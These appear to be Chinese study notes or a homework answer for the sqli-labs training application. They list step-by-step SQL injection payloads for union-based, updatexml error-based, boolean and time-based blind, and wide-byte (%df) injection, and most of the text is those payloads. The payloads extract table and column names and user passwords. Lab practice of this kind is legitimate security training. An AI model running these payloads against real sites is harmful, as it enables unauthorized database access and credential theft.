联合查询>>
1.判断网站是否存在注入漏洞
2.判断网站的闭合字符(and条件判断或者页面报错信息或者能不能执行某个函数)
3.判断列数 order by
4.判断显示位 (有哪些位置的内容可以被显示在前端页面上)
5.查询网站数据库的版本
6.查询当前网站数据库名字 database()
7.查询当前网站数据库下的所有表 information_schema
8.查询当前网站数据库指定表里面的所有列
9.查询当前网站数据库下的指定表内指定列的字段内容
求库名
?id=1’and updatexml(1,concat(0x23,database()),1) -- +
求表名
?id=1’ and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=’security’)),3) -- +
求列名
?id=1’ and
updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)),3) -- +
求字段内容
?id=1’ and
updatexml(1,concat(0x23,(select group_concat(username,0x23,password) from security.users)),3)
?id=-1 union select 1,(select group_concat(id,0x23,username,0x23,password) from users),3 --+
盲注一般步骤>>
1.求闭合字符
2.求出当前数据库名的长度
3.求出当前数据库名对应的ascii值
4.求表的数量
5.求表名的长度
6.求表名对应的ascii值
7.求列的数量
8.求列名的长度
9.列名对应的ascii值
10.求字段的数量
11.求字段内容的长度
12.求字段内容对应的ascii值
布尔型盲注>>
特点:页面存在异常,但是既没有回显也没有报错信息
利用:只能通过正确与错误两种状态来判断payload是否正确
利用判断语句来证明推测是否正确,正确时,页面正常显示;错误时,页面异常
求数据库长度
?id=1’ and length(database())=8 %23
求数据库的ascii码值
?id=1’ and ascii(substr(database(),1,1))=115 %23
求数据库下表的数量
id=1’ and (select count(table_name)from information_schema.tables where table_schema=’security’)=4%23
求表名的ascii码值
?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101%23
求列的数量
id=1’ and (select count(column_name) from information_schema.columns where table_schema=’security’ and table_name=’users’)=3%23
求列名的ascii码值
id=1’ and ascii(substr((select column_name from information_schema.columns where table_schema=’security’ and table_name=’users’limit 0,1),1,1))=105%23
求字段的数量
id=1’ and (select count(username) from security.users)=13%23
求字段内容
id=1’ and ascii(substr((select concat(username,0x23,password) from security.users limit 0,1),1,1))=68%23
时间型盲注
求数据库库名长度
id=1’and if(length(database())=8,sleep(3),1) -- +
求数据库库名对应的ascii值
id=1’ and if(ascii(substr((select database()),1,1))=115,sleep(3),1) -- +
求表的数量
id=1’and if((select count(*)from information_schema.tables where table_schema=’security’)=4,sleep(3),1) -- +
求表名的长度
id=1’ and if((select length(table_name)from information_schema.tables where table_schema=’security’limit 0,1)=6,sleep(3),1) -- +
求表名对应的ascii码
id=1’ and if(ascii(substr((select (table_name)from information_schema.tables where table_schema=’security’ limit 0,1),1,1))=101,sleep(3),1) -- +
求列的数量
id=1’ and if((select count(column_name)from information_schema.columns where table_schema=’security’ and table_name=’users’)=3,sleep(3),1) -- +
求列名的ascii码
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(3),1) -- +
求字段数量
id=1' and if((select count(username)from security.users)=13,sleep(3),1) -- +
求字段内容
id=1’ and if(ascii(substr((select concat(username,0x23,password)from security.users limit 0,1),1,1))=68,sleep(3),1) -- +
2.Less-32宽字节注入练习,操作步骤配截图。并且描述下宽字节注入的条件和原理。
宽字节注入:
利用编码转换,将服务器端强制添加的本来用于转义的\符号吃掉,从而能使攻击者输入的引号起到闭合作用,以至于可以进行SQL注入。
?id=-1%df union select 1,2,database()--+
?id=-1%df union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
?id=-1%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)--+
?id=-1%df' union select 1,2,(select group_concat(username,password) from security.users)--+